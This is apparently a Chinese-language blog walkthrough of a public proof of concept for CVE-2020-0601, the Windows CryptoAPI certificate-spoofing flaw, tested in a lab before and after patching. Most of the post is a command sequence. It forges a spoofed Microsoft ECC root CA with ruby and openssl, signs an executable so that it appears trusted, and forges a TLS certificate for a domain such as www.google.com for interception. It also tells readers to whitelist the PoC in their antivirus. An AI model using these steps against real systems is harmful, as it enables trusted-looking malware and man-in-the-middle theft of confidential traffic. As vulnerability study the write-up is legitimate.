CVE-2020-0601 PoC CryptoAPI漏洞利用

近日NSA随手丢出的“王炸”在安全业内引起一片哗然,消息发布后没两天各种poc也是层出不穷。该漏洞位于Windows CryptoAPI(Crypt32.dll)验证椭圆曲线加密算法证书的方式,可能影响信任的一些实例包括(不限于):HTTPS连接、文件签名和电子邮件签名、以用户模式启动的签名可执行程序。
此外,该漏洞可以让攻击者伪造代码签名证书对恶意可执行文件进行签名,使文件看似来自可信的来源。例如,可以让勒索软件或其他间谍软件拥有看似有效的证书,从而促使用户安装。中间人攻击并解密用户连接到受影响软件的机密信息也是主要的攻击场景之一。

本案例基于业内大佬的PoC代码,在实验环境验证打补丁前后漏洞利用的效果,仅用于安全技术的交流学习。漏洞的原理涉及ECC椭圆曲线神马的太过复杂,不在本文的范围呢,可以自行搜索。

先下载poc,在笔者写这篇文章的时候,各大杀毒软件厂商应该都已经将这个工程标记为恶意软件了,请各自添加例外。poc里面包含一个证书文件MicrosoftECCProductRootCertificateAuthority.cer,这是一个被Windows10默认信任的使用ECC的根CA,任何使用这个CA签发的证书都会被信任。我们POC的过程在一个kali linux上进行。

最小版本需要openssl 1.1.0 ruby 2.4.0

代码签名

首先从CA中抽取公钥,并且利用该漏洞修改这个key

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

将生成的key保存到文件spoofed_ca.key,然后基于这个key生成一个新的x509证书,这也就是我们的仿冒CA

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

生成一个新的key,格式可以根据需要自己选择,这里需要生成一个用于代码签名的证书

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

下一步,生成一个新的证书签名请求(CSR),这个请求通常会发送给受信任的CA,但是因为前面我们生成的假冒的CA,所以这里我们可以自己对他签名

openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

使用仿冒的CA和CA key对CSR签名,这个证书有效期到2047年,而实际上真正的微软CA有效期到2043年

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

将仿冒CA和我们生成的key打包保存到一个PKCS12文件,用于PE的签名

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

最后,利用前面生成的证书对PE文件签名即可

osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in test-x64.exe -out test_signed.exe

最后验证一下效果,在未打补丁的win10机器上查看PE文件属性,发现文件的签名是可信的


unpatched.png

之后我们安装微软发布的月度安全补丁,再查看结果,展示如下,文件的签名提示为不可信


patched

SSL/TLS

前面的步骤基本一样,区别在于生成签名证书的时候格式会有差别

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

将生成的key保存到文件spoofed_ca.key,然后基于这个key生成一个新的x509证书,这也就是我们的仿冒CA

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

生成一个新的key,格式可以根据需要自己选择,这里需要生成一个用于建立SSL的证书

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

下一步,生成一个新的证书签名请求(CSR),这个请求通常会发送给受信任的CA,但是因为前面我们生成的假冒的CA,所以这里我们可以自己对他签名
如果你希望修改域名,可以编辑openssl_tls.conf里面的内容CN = www.google.com

openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

签发证书

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

接下来便可以配置生成的cert.crt, cert.keyspoofed_ca.crt到你的应用容器,坐着还很贴心的准备了示例tls/index.js
这个示例,如果是在kali上面搭的话,需要安装一下npm和nodejs(默认安装),然后执行node index.js既可以启动容器。浏览器访问该服务器的8080端口,如https://ip:8080
未打补丁的时候浏览器不会提供任何异常,可以看到Hello World(忘了截图了)。。。
打上补丁以后,浏览器提示证书不可信

image.png

参考文章:
https://github.com/ollypwn/CVE-2020-0601
https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc/

你可能感兴趣的:(CVE-2020-0601 PoC CryptoAPI漏洞利用)